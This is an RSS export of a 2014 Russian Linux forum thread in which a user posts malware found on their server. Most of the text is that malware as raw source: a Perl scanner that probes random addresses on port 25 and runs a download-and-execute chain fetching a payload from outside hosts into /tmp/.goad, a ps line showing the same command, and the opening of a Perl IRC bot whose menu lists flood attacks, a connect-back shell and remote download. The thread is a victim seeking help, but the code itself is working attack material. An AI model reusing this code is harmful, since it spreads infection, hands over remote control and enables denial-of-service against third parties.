<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
					xmlns:content="http://purl.org/rss/1.0/modules/content/"
					xmlns:wfw="http://wellformedweb.org/CommentAPI/"
					xmlns:atom="http://www.w3.org/2005/Atom"
				  >
<channel>
<atom:link rel="self"  type="application/rss+xml"  href="http://rulinux.net/rss_from_sect_4_subsect_8_thread_42004"  />
<title>rulinux.net - Форум - Security - я кажись вирус на перле и питоне нашел на одной машинке-сервере</title>
<link>http://rulinux.net/</link>
<description><![CDATA[Портал о GNU/Linux и не только]]></description>
<image><title>rulinux.net - Форум - Security - я кажись вирус на перле и питоне нашел на одной машинке-сервере</title>
<link>http://rulinux.net/</link>
<url>http://rulinux.net/rss_icon.png</url>
</image>
<item>
<title>Re:я кажись вирус на перле нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209140</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209140</guid>
<pubDate>Sun, 09 Nov 2014 11:07:07 +0300</pubDate>
<description><![CDATA[<p>Возможно поэтому у нас тут превалирует какая-то каминг-аутная тематика обсуждений. Ведь какие модераторы - такой и форум..</p>]]></description>
</item>
<item>
<title>Re:я кажись вирус на перле нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209139</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209139</guid>
<pubDate>Sun, 09 Nov 2014 10:53:44 +0300</pubDate>
<description><![CDATA[<p>И эти люди у нас в модераторах числятся?</p>]]></description>
</item>
<item>
<title>Re:я кажись вирус на перле нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209137</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209137</guid>
<pubDate>Sun, 09 Nov 2014 09:59:26 +0300</pubDate>
<description><![CDATA[<p>&gt; как тут преформаттед текст сделать?
<br><br>Втыкаешь в меню пункт &quot;<a href="http://rulinux.net/mark">Разметка</a>&quot;, и, используя опции форматирования, постишь свой выхлоп в том виде, как тебе хочеццо:
<br><br>
http://m.uploadedit.com/b042/1415260702980.txt
<fieldset><legend>perl</legend><div class="highlight perl"><br />
<span class="co1">#!/usr/bin/perl -w</span><br />
<br />
<span class="kw2">use</span> Sys<span class="sy0">::</span><span class="me2">Hostname</span><span class="sy0">;</span><br />
<span class="kw2">use</span> Socket<span class="sy0">;</span><br />
<span class="kw2">use</span> IO<span class="sy0">::</span><span class="me2">Socket</span><span class="sy0">;</span><br />
<a href="http://perldoc.perl.org/functions/srand.html"><span class="kw3">srand</span></a><span class="br0">&#40;</span> <a href="http://perldoc.perl.org/functions/time.html"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="sy0">^</span> <span class="br0">&#40;</span> <span class="co5">$$</span> <span class="sy0">+</span> <span class="br0">&#40;</span> <span class="co5">$$</span> <span class="sy0">&lt;&lt;</span> 15 <span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$addr</span><span class="br0">&#41;</span> <span class="sy0">=</span> inet_ntoa<span class="br0">&#40;</span> <span class="br0">&#40;</span> <a href="http://perldoc.perl.org/functions/gethostbyname.html"><span class="kw3">gethostbyname</span></a><span class="br0">&#40;</span>hostname<span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="br0">&#91;</span>4<span class="br0">&#93;</span> <span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
<span class="co1"># print &quot;$addr\n&quot;;</span><br />
<span class="co1"># $ARGV[0] = $addr;</span><br />
<span class="re0">$ARGV</span><span class="br0">&#91;</span>0<span class="br0">&#93;</span> <span class="sy0">=</span><br />
&nbsp; <a href="http://perldoc.perl.org/functions/join.html"><span class="kw3">join</span></a><span class="br0">&#40;</span> <span class="st_h">'.'</span><span class="sy0">,</span> <span class="br0">&#40;</span> <a href="http://perldoc.perl.org/functions/int.html"><span class="kw3">int</span></a><span class="br0">&#40;</span> <a href="http://perldoc.perl.org/functions/rand.html"><span class="kw3">rand</span></a><span class="br0">&#40;</span>255<span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="sy0">,</span> <a href="http://perldoc.perl.org/functions/int.html"><span class="kw3">int</span></a><span class="br0">&#40;</span> <a href="http://perldoc.perl.org/functions/rand.html"><span class="kw3">rand</span></a><span class="br0">&#40;</span>255<span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="sy0">,</span> <a href="http://perldoc.perl.org/functions/int.html"><span class="kw3">int</span></a><span class="br0">&#40;</span> <a href="http://perldoc.perl.org/functions/rand.html"><span class="kw3">rand</span></a><span class="br0">&#40;</span>255<span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="sy0">,</span> <a href="http://perldoc.perl.org/functions/int.html"><span class="kw3">int</span></a><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="sy0">,</span><br />
&nbsp; <span class="st0">&quot;&quot;</span><span class="sy0">;</span><br />
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;$ARGV[0]&quot;</span><span class="sy0">;</span><br />
<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st0">&quot;255.255.255.255&quot;</span><span class="sy0">;</span><br />
<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st0">&quot;25&quot;</span><span class="sy0">;</span><br />
<span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st0">&quot;25&quot;</span><span class="sy0">;</span><br />
<br />
<span class="co1"># Check for port errors</span><br />
<span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span> <span class="sy0">&gt;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>3<span class="br0">&#93;</span> <span class="br0">&#41;</span> <span class="sy0">||</span> <span class="br0">&#40;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span> <span class="sy0">&gt;</span> 65666 <span class="br0">&#41;</span> <span class="sy0">||</span> <span class="br0">&#40;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>3<span class="br0">&#93;</span> <span class="sy0">&gt;</span> 65666 <span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Port error.<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a> <span class="nu0">1</span><span class="sy0">;</span><br />
<span class="br0">&#125;</span><br />
<br />
<span class="co1"># Check for IP address errors</span><br />
<span class="re0">@sip</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/split.html"><span class="kw3">split</span></a><span class="br0">&#40;</span> <span class="co2">/\./</span><span class="sy0">,</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>0<span class="br0">&#93;</span> <span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">@eip</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/split.html"><span class="kw3">split</span></a><span class="br0">&#40;</span> <span class="co2">/\./</span><span class="sy0">,</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>1<span class="br0">&#93;</span> <span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw1">for</span> <span class="br0">&#40;</span> <span class="re0">$x</span> <span class="sy0">=</span> 0 <span class="sy0">;</span> <span class="re0">$x</span> <span class="sy0">&lt;</span> 4 <span class="sy0">;</span> <span class="sy0">++</span><span class="re0">$x</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="re0">$x</span><span class="br0">&#93;</span> <span class="sy0">&gt;</span> 255 <span class="br0">&#41;</span> <span class="sy0">||</span> <span class="br0">&#40;</span> <span class="re0">$eip</span><span class="br0">&#91;</span><span class="re0">$x</span><span class="br0">&#93;</span> <span class="sy0">&gt;</span> 255 <span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;IP address error.<span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a> <span class="nu0">1</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="re0">$p</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span><br />
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Scanning...<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span><br />
<span class="kw1">while</span> <span class="br0">&#40;</span>1<span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="re0">$cip</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/join.html"><span class="kw3">join</span></a><span class="br0">&#40;</span> <span class="st_h">'.'</span><span class="sy0">,</span> <span class="re0">@sip</span> <span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="co1">#</span><br />
&nbsp; &nbsp; <span class="co1"># Дададад, это вирус на перлу:</span><br />
&nbsp; &nbsp; <span class="co1">#</span><br />
&nbsp; &nbsp; <span class="re0">$cmd</span> <span class="sy0">=</span><br />
<span class="st0">&quot;python pyt $cip 'wget http://yourschool.net/.tmp/frogclog.php?SMTP=$cip;wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad'&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; IO<span class="sy0">::</span><span class="me2">Socket</span><span class="sy0">::</span><span class="me2">INET</span><span class="sy0">-&gt;</span><span class="me1">new</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; PeerAddr <span class="sy0">=&gt;</span> <span class="br0">&#40;</span><span class="re0">$cip</span><span class="br0">&#41;</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; PeerPort <span class="sy0">=&gt;</span> <span class="re0">$p</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; proto &nbsp; &nbsp;<span class="sy0">=&gt;</span> <span class="st_h">'tcp'</span><span class="sy0">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; Timeout &nbsp;<span class="sy0">=&gt;</span> 1<br />
&nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">and</span> <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;$cip:$p<span class="es0">\n</span>&quot;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">and</span> <a href="http://perldoc.perl.org/functions/system.html"><span class="kw3">system</span></a><span class="br0">&#40;</span><span class="re0">$cmd</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$p</span> <span class="sy0">==</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>3<span class="br0">&#93;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> <span class="sy0">+=</span> <span class="st0">&quot;1&quot;</span><span class="sy0">;</span> <span class="re0">$p</span> <span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span><span class="sy0">;</span> <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span> <span class="sy0">++</span><span class="re0">$p</span><span class="sy0">;</span> <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> <span class="sy0">&gt;</span> <span class="st0">&quot;255&quot;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">+=</span> <span class="st0">&quot;1&quot;</span><span class="sy0">;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st0">&quot;0&quot;</span><span class="sy0">;</span> <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">&gt;</span> <span class="st0">&quot;255&quot;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">+=</span> <span class="st0">&quot;1&quot;</span><span class="sy0">;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st0">&quot;0&quot;</span><span class="sy0">;</span> <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">&gt;</span> <span class="st0">&quot;255&quot;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> <span class="sy0">+=</span> <span class="st0">&quot;1&quot;</span><span class="sy0">;</span> <span class="re0">$sip</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st0">&quot;0&quot;</span><span class="sy0">;</span> <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">=~</span> <span class="co2">/$cip/</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span>Scan completed.<span class="es0">\n</span>&quot;</span><span class="sy0">;</span> <a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a> <span class="nu0">1</span><span class="sy0">;</span> <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a><span class="sy0">;</span><br />
&nbsp;</div></fieldset></p>]]></description>
</item>
<item>
<title>Ну какой же это вирус на Перле, Вилли?</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209127</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209127</guid>
<pubDate>Sat, 08 Nov 2014 20:09:43 +0300</pubDate>
<description><![CDATA[<p><div class="quote"><pre>www_user 5673 0.0 0.0 5768 384 ? S Nov07 0:00 python pyt 223.202.59.75 wget http://yourschool.net/.tmp/frogclog.php?SMTP=223.202.59.75;wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad</pre></div></p>]]></description>
</item>
<item>
<title>Re:я кажись вирус на перле нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209122</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209122</guid>
<pubDate>Sat, 08 Nov 2014 15:09:54 +0300</pubDate>
<description><![CDATA[<p>как тут преформаттед текст сделать? как логи постить? двигло не позволяет. я сохранил все эти вещи, может кто встретится<br><br>я кажется знаю что за дыра, иногда из под вввюзера моно исполнять скрипты</p>]]></description>
</item>
<item>
<title>Re:я кажись вирус на перле нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209121</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209121</guid>
<pubDate>Sat, 08 Nov 2014 14:58:31 +0300</pubDate>
<description><![CDATA[<p>http://m.uploadedit.com/b042/1415260702980.txt<br><br><fieldset><legend>text</legend><div class="highlight text"><br />
<br />
#!/usr/bin/perl -w<br />
<br />
use Sys::Hostname;<br />
use Socket;<br />
use IO::Socket;<br />
srand(time() ^ ($$ + ($$ &lt;&lt; 15)));<br />
<br />
my($addr)=inet_ntoa((gethostbyname(hostname))[4]);<br />
# print &quot;$addr\n&quot;;<br />
# $ARGV[0] = $addr;<br />
&nbsp; &nbsp; $ARGV[0] = &nbsp;join ('.', (int(rand(255))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;,int(rand(255))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;,int(rand(255))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;,int(1)))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; , &quot;&quot;;<br />
print &quot;$ARGV[0]&quot;;<br />
$ARGV[1] = &quot;255.255.255.255&quot;;<br />
$ARGV[2] = &quot;25&quot;;<br />
$ARGV[3] = &quot;25&quot;;<br />
<br />
# Check for port errors<br />
if(($ARGV[2] &gt; $ARGV[3]) || ($ARGV[2] &gt; 65666) || ($ARGV[3] &gt; 65666)){<br />
&nbsp; print &quot;Port error.\n&quot;;<br />
&nbsp; exit 1;<br />
}<br />
&nbsp;<br />
# Check for IP address errors<br />
@sip = split(/\./, $ARGV[0]);<br />
@eip = split(/\./, $ARGV[1]);<br />
for($x = 0; $x &lt; 4; ++$x){<br />
&nbsp; if(($sip[$x] &gt; 255) || ($eip[$x] &gt; 255)){<br />
&nbsp; &nbsp; print &quot;IP address error.\n&quot;;<br />
&nbsp; &nbsp; exit 1;<br />
&nbsp; }<br />
}<br />
$p = 0;<br />
print &quot;Scanning...\n\n&quot;;<br />
while(1){<br />
&nbsp; $cip = join('.', @sip);<br />
&nbsp; $cmd = &quot;python pyt $cip 'wget http://yourschool.net/.tmp/frogclog.php?SMTP=$cip;wget http://m.uploadedit.com/b042/1415253981797.txt -O /tmp/.goad;chmod +x /tmp/.goad;perl /tmp/.goad'&quot;;<br />
&nbsp; IO::Socket::INET-&gt;new(PeerAddr=&gt;($cip),PeerPort=&gt;$p,proto=&gt;'tcp',Timeout=&gt;1) and print &quot;$cip:$p\n&quot; and system($cmd);<br />
&nbsp; if($p == $ARGV[3]){<br />
&nbsp; &nbsp; &nbsp; $sip[3] += &quot;1&quot;;<br />
&nbsp; &nbsp; &nbsp; $p = $ARGV[2];<br />
&nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; ++$p;<br />
&nbsp; }<br />
&nbsp; if($sip[3] &gt; &quot;255&quot;){<br />
&nbsp; &nbsp; $sip[2] += &quot;1&quot;;<br />
&nbsp; &nbsp; $sip[3] = &quot;0&quot;;<br />
&nbsp; }<br />
&nbsp; if($sip[2] &gt; &quot;255&quot;){<br />
&nbsp; &nbsp; $sip[1] += &quot;1&quot;;<br />
&nbsp; &nbsp; $sip[2] = &quot;0&quot;;<br />
&nbsp; }<br />
&nbsp; if($sip[1] &gt; &quot;255&quot;){<br />
&nbsp; &nbsp; $sip[0] += &quot;1&quot;;<br />
&nbsp; &nbsp; $sip[1] = &quot;0&quot;;<br />
&nbsp; }<br />
&nbsp; if($ARGV[1] =~ /$cip/){<br />
&nbsp; &nbsp; print &quot;\nScan completed.\n&quot;;<br />
&nbsp; &nbsp; exit 1;<br />
&nbsp; }<br />
}<br />
exit;<br />
<br />
&nbsp;</div></fieldset></p>]]></description>
</item>
<item>
<title>Re:я кажись вирус на перле нашел на одной машинке-сервере</title>
<link>https://rulinux.net/message.php?newsid=42004&amp;page=1#209120</link>
<guid>https://rulinux.net/message.php?newsid=42004&amp;page=1#209120</guid>
<pubDate>Sat, 08 Nov 2014 14:57:37 +0300</pubDate>
<description><![CDATA[<p>http://m.uploadedit.com/b042/1415253981797.txt<br><br><fieldset><legend>text</legend><div class="highlight text"><br />
<br />
#!/usr/bin/perl<br />
####################################################################################################################<br />
####################################################################################################################<br />
## &nbsp;ps Perl IrcBot v1.02012 bY CrAmEr @ps Security Team &nbsp; ## &nbsp; &nbsp;[ Help ] &nbsp; ####################################<br />
## &nbsp; &nbsp; &nbsp;Stealth MultiFunctional IrcBot Writen in Perl &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#####################################################<br />
## &nbsp; &nbsp; &nbsp; &nbsp;Teste on every system with PERL instlled &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## &nbsp;!x @system &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ##<br />
## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## &nbsp;!x @version &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
## &nbsp; &nbsp; This is a free program used on your own risk. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## &nbsp;!x @channel &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
## &nbsp; &nbsp; &nbsp; &nbsp;Created for educational purpose only. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp;!x @flood &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
## I'm not responsible for the illegal use of this program. &nbsp; &nbsp;## &nbsp;!x @utils &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
####################################################################################################################<br />
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] #########################<br />
####################################################################################################################<br />
## !x !join &lt;#channel&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## !x @udp1 &lt;ip&gt; &lt;port&gt; &lt;time&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp;!su @conback &lt;ip&gt; &lt;port&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
## !x !part &lt;#channel&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## !x @udp2 &lt;ip&gt; &lt;packet size&gt; &lt;time&gt; &nbsp; &nbsp; &nbsp; ## &nbsp;!x @downlod &lt;url+path&gt; &lt;file&gt; &nbsp; &nbsp; ##<br />
## !x !xejoin &lt;#channel&gt; &nbsp; &nbsp; &nbsp; &nbsp;## !x @udp3 &lt;ip&gt; &lt;port&gt; &lt;time&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp;!x @portscan &lt;ip&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ##<br />
## !x !op &lt;channel&gt; &lt;nick&gt; &nbsp; &nbsp; &nbsp;## !x @tcp &lt;ip&gt; &lt;port&gt; &lt;packet size&gt; &lt;time&gt; ## &nbsp;!x @mail &lt;subject&gt; &lt;sender&gt; &nbsp; &nbsp; &nbsp; ##<br />
## !x !deop &lt;channel&gt; &lt;nick&gt; &nbsp; &nbsp;## !x @http &lt;site&gt; &lt;time&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;recipient&gt; &lt;message&gt; &nbsp; &nbsp;##<br />
## !x !voice &lt;channel&gt; &lt;nick&gt; &nbsp; ## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp;!x pwd;uname -a;id &lt;for example&gt; &nbsp;##<br />
## !x !devoice &lt;channel&gt; &lt;nick&gt; ## !x @ctcpflood &lt;nick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## &nbsp;!x @port &lt;ip&gt; &lt;port&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
## !x !nick &lt;newnick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## !x @msgflood &lt;nick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp;!x @dns &lt;ip/host&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ##<br />
## !x !msg &lt;nick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## !x @noticeflood &lt;nick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
## !x !quit &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
## !x !xaw &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
## !x !die &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;##<br />
####################################################################################################################<br />
####################################################################################################################<br />
&nbsp;<br />
#############################<br />
##### [ Configuration ] #####<br />
#############################<br />
&nbsp;<br />
my @rps = (&quot;/usr/local/nagios/bin/nrpe -c /usr/local/nagios/etc/nrpe.cfg -d&quot;);<br />
my $process = $rps[rand scalar @rps];<br />
my @rversion = (&quot;\001VERSION - unknown command.\001&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v5.91 K.Mardam-Bey\001&quot;,<br />
